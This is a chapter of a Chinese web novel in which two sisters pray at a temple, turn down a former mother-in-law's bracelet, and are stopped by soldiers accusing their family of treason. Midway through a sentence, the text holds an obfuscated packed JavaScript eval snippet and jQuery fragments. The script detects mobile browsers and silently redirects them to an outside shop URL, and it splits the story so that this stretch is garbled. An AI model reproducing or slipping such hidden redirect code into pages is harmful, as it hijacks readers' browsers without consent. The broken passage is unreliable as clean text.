李星容的恳求最终还是淹没在了欢庆的烟花爆竹声里。靖安侯之意已决,岂会因她三言两语就改变决定。


    他依旧什么都没有说。


    大年初一,街巷之间一派喜气洋洋。李星容亦披着一身精工细作的大红色绒氅,与同样一身红衣的李盈竹登上了去往空蒙山禅音寺的马车。


    马车驶离府门,轻微的晃荡中,李星容察觉到李盈竹的眼神时不时落在自己身上。


    “怎么了?”李星容开门见山道。


    “没什么。”李盈竹收回目光,表情也尽量淡淡的,“红衣吉庆,倒是第一次见你穿艳色。”


    是很少这样穿。


    李星容朝她一颔首:“还未谢过你,很暖和。”


    李盈竹却忽地疑惑了:“谢我做什么?”


    李星容也疑惑起来:“不是你送来的么?”


    这身红衣自己此前也未曾见过,卓云今晨拿出来时,李星容还以为是李盈竹前段时日操持年货采买时顺手送来的。难道竟不是吗?


    “不是。”李盈竹否认罢,又声音极低地补了一句,“这件不是。”


    李星容恍然想起了什么。


    想到不久前李乘凌还提起,这几年常常分隔两地,已有许多个新年不曾相聚,记忆中一同守岁一同上街一同赏灯的红衣芒芒都模糊成了小红豆子。李星容一时有些恍惚。


    为何离开前不明说?哪怕年节团圆不可强求,换一身红衣又有什么难的呢。


    悄无声息制一件他想看的送进她院中,算怎么一回事。


    “又有心事?”李盈竹的话打断了李星容游走的神思。


    李星容回过神来,不再去想这些无法倒转的“如果”。


    “没有。”她转过头看向李盈竹,“还是要多谢你,这些天操持府中采买辛苦了。”


    “你心里想的不是这个。”李盈竹直截了当道,“我知道我是最不辛苦的那一个,在我面前就不必装客气了。”


    李星容默了默,声辩道:“是真心的。”


    “哼。”李盈竹哼笑一声,没再执着于揭穿她。


    “我算是知道这嫡女也不好当,你倒是明智,直接去谋自己想做的,府中杂务撒手就不管了。”


    李星容想了半晌发现无可辩驳,只得回了一个“嗯。”


    “……”李盈竹深吸一口气,又泄了下来。


    “和你说话真是累,不是客套就是敷衍。”李盈竹说着,微微翻了个白眼,“也是,哪里比得了青梅竹马十几二十年的两兄妹呢,恐怕他一开演,你立马就想出一万句哄人的话了。”


    “……你不要这样想,他也是你的兄长。”


    李盈竹沉默片刻,道:“随你怎么想吧。”


    -


    经历了上一次刺杀,李星容此次便如靖安侯所愿,带上了不少护卫随行,几匹马在外护着马车,是她自己出行时少有的架势。


    她自己倒罢了,李盈竹的安危却是不能不顾的。


    所幸一路顺遂,赶在午膳时分抵达。虽说大年初一人们多是留在家宅之中与家人团圆,此时这禅音寺里的香火倒是比平日还要旺上些许。


    想来也是如李家两姐妹一般,阖家来祈福兼之游山的。


    李星容燃上香,与李盈竹并肩立在神明相前,许下一个朴实无华的愿。


    再睁开眼时,李星容从旁人口中听见了一个熟悉的名字。


    “那不是齐相夫人么?这个时节怎么独自来寺中了。”


    “还能是为什么?听说齐家二郎又疯了,齐相将他锁在府里,连外人探望都不许了呢。”


    议论的声音是从身后传来的。李星容默然俯身,将香插入炉中。


    李盈竹也听见了,她瞥一眼李星容,亦默不作声地继续全下祈愿的礼节。


    “啧啧,做母亲的,见自家孩子如此,哪能不担忧……你说这齐二郎两次三番招惹邪祟,莫不是真有什么说法?”


    “呸!大过年的,少说这种晦气话。我看啊,是他自个儿总也比不过翟状元,经年累月心中扭曲罢了,齐相那是给他遮羞呢。”


    “到底是有才气的,也是可惜……恐怕等他病好了,哪怕有个相爷爹罩着,那朝堂之中也再难有他的位置了。”


    “嘘,人来了,噤声。”


    “星容?”那厢议论声方歇,这厢楚夫人便远远认出了李星容的身影,朝她走了过来。


    “二小姐也在啊。”楚夫人见姐妹二人一同转向自己,勉强扯出一个笑来。


    “楚夫人。”二女双双问候。


    “这是在,为李小侯爷祈个平安?”楚夫人说着,面上是清晰可见的疲惫。


    “是啊,也是为大庸祈福。愿兄长与诸位将士,皆能早日平安归来。”李盈竹应对道。


    “是,是。”楚夫人连连认同道,“将士们为国驰骋疆场,方有我等在京中这安宁日子,凡我大庸子民,都该为他们祈念平安顺遂的。”


    如此一番来回,双方一时无话继续。李盈竹见再留下去也无益,便要就此别过。


    “等等。”楚夫人叫住她们,犹豫了片刻,还是走到了李星容跟前。


    “星容,可否借一步说话?”


    李星容听得她的请求,想起方才听闻的闲谈。此时这堂中之人还在时不时暗戳戳打量她们,留在此处确实不适合说话。


    长辈之请不便推辞,可自己与齐家还有什么私密话好说的?


    正在此时,李盈竹的手挽了过来,圈上李星容的臂弯。


    “好啊。”李盈竹代李星容开了口,“姐姐,我们寻个清静处。”


    李盈竹要跟来,楚夫人自然也不好拒绝。


    就这样,在无人之地、唯独有李盈竹的见证下,楚夫人从怀中掏出一物,金光闪闪的,眼瞧着就要塞入李星容手中。


    李星容轻易便避开了,冷淡道:“夫人这是做什么?”


    楚夫人见状,面露几分尴尬。


    李星容如何不认得,那是退婚之时,早已一并退还给齐家的信物。


    “星容,你莫要误会,当初……是齐家对不住你,伯母也并非要求你回心转意。”楚夫人将手中之物往前递出些许,言辞亦颇为恳切。


    “这些年伯母是真心喜爱你,这镯子既送予了你,便没有收回来的道理。还请你给伯母一分薄面,收下它吧。”


    李星容摇头。


    楚夫人沉默稍许,继续道:“伯母知道,你我两家今生已无缘再结秦晋之好,是齐家没有这个福分。这个镯子虽不贵重,却是伯母多年珍惜之物,还请你收下,聊表伯母的一丝歉意。”


    李盈竹听着听着侧开了眼,暗暗叹了口气。


    李星容依旧只是摇头。她不想收的东西,旁人连她衣角都碰不到。


    “……”见李星容如此坚定,楚夫人只得作罢,不再坚持。


    她收回手中的信物,道:“星容,是我家二郎配不上你,如今更是——”


    说着她话音一顿,亦叹了口气道:“伯母此番只是想告知你,从今往后,他绝不会再叨扰你分毫。”


    “容盈竹多一句嘴。”李盈竹突然开口,打断楚夫人的情真意切。


    “夫人怎么不将齐二公子一同带来,亲自对姐姐说这话呢?莫非,这只是夫人的意


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17443823|190354||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    思,二公子却不这么想?”


    楚夫人怔了怔,方才扯出一个笑道:“怎么会,这不是凑巧碰上吗。”


    “哦,也是,那是盈竹误会了。盈竹只是见这空蒙山清静,适合修身养性,还以为齐二公子也来了呢,毕竟上回不也——”


    李盈竹说到这里,自知说错话一般捂住了嘴,“哎呀抱歉,盈竹出身乡野嘴笨得很,没有别的意思。”


    李星容闻言有些微诧,她转过眼,看向话里话外都在挑衅的李盈竹。


    楚夫人只能维持着笑意,大度道:“无妨。”


    言尽于此,再谈下去就没意思了。楚夫人看着二人,主动道:“伯母还有些事,先失陪了,你姐妹二人回府路上,也要小心才是。”


    “夫人慢走。”李盈竹在她身后道。


    直到看不清楚夫人身影,李星容才开口道:“你这是怎么了?”


    “什么怎么了?”李盈竹不在意道,“看不惯他一家既行龌龊事又爱立牌坊罢了。”


    “谢谢你为我着想。”李星容诚恳道,“只是,姻亲本就讲求你情我愿,退婚倒也称不上龌龊,不必多作纠缠。”


    “我作纠缠?呵,到底是谁在纠缠?”李盈竹对她的“只是”很不满。


    “这个时候,谁不传他齐二郎发疯在家的丑事?她口口声声不会再叨扰你,却又非要在众目睽睽之下把你拉到私密处,还硬要送你只传儿媳的信物,这算怎么回事?为了给他齐二郎求一个后路?还是为了讨来你的谅解只为求自己心安?”


    “抱歉。”李星容立即道。


    “……”李盈竹顿时偃旗息鼓,“谁生气了,我可没那么小气。”


    李星容点头,“嗯,那就收回这句,换作多谢。”


    李盈竹没吭声。她抬头看了看天色,道:“不早了,得赶在天黑前进城门。快走吧。”


    -


    一路加紧行车,总算赶在日落时分远远望见京城的大门。谁知不待李星容一行人继续向前,城门内就率先冲出一队骑兵,向这一车几马直奔而来。


    马车被紧急逼停,李盈竹一时没能坐稳,猛然向前倾去。


    李星容眼疾手快揽住她的腰腹,一手撑住车顶,一手将她拉了回来。


    “发生何事?”李星容方稳住身子,就提高了声音问车外。


    “回小姐,前方不知何人,拦住我们去路。”


    李星容听见车外纷乱的马蹄声阵阵逼近,俯身将门帘掀开了一角。


    看来人着装,是军中制式。


    “别怕。”李星容盯着车外动静,头也未回地对车中的李盈竹道。


    李盈竹安静坐在原处,没有挪动,也没有出声。


    良久,她低低地“嗯”了一声。


    正在此时,为首的两匹马率先在车前停了下来。


    “来者何人?”李星容高声问着,却没有人答复她。


    只听其中一人对领头者道:“长官,是靖安侯府车驾。”


    后者闻言,冷笑一声:“正要去抓你们,倒自己送上门来了。”


    李星容面色冷了下来:“阁下这是何意?”


    “李校尉——哦不,如今已是戴罪之身了——二位小姐,随我们走一趟吧?”


    李星容心中一沉。


    自从李乘凌离开,再到靖安侯语焉不详,那些没有来由的不安,终究是落到了实处。


    她仍自镇定道:“圣上有旨,镇北大将军在京家眷或犯常刑,有司不得加责。”


    为首之人似乎料到她会如此应对,早就有所准备。


    “若我说,李家犯下的,是谋逆大罪呢?”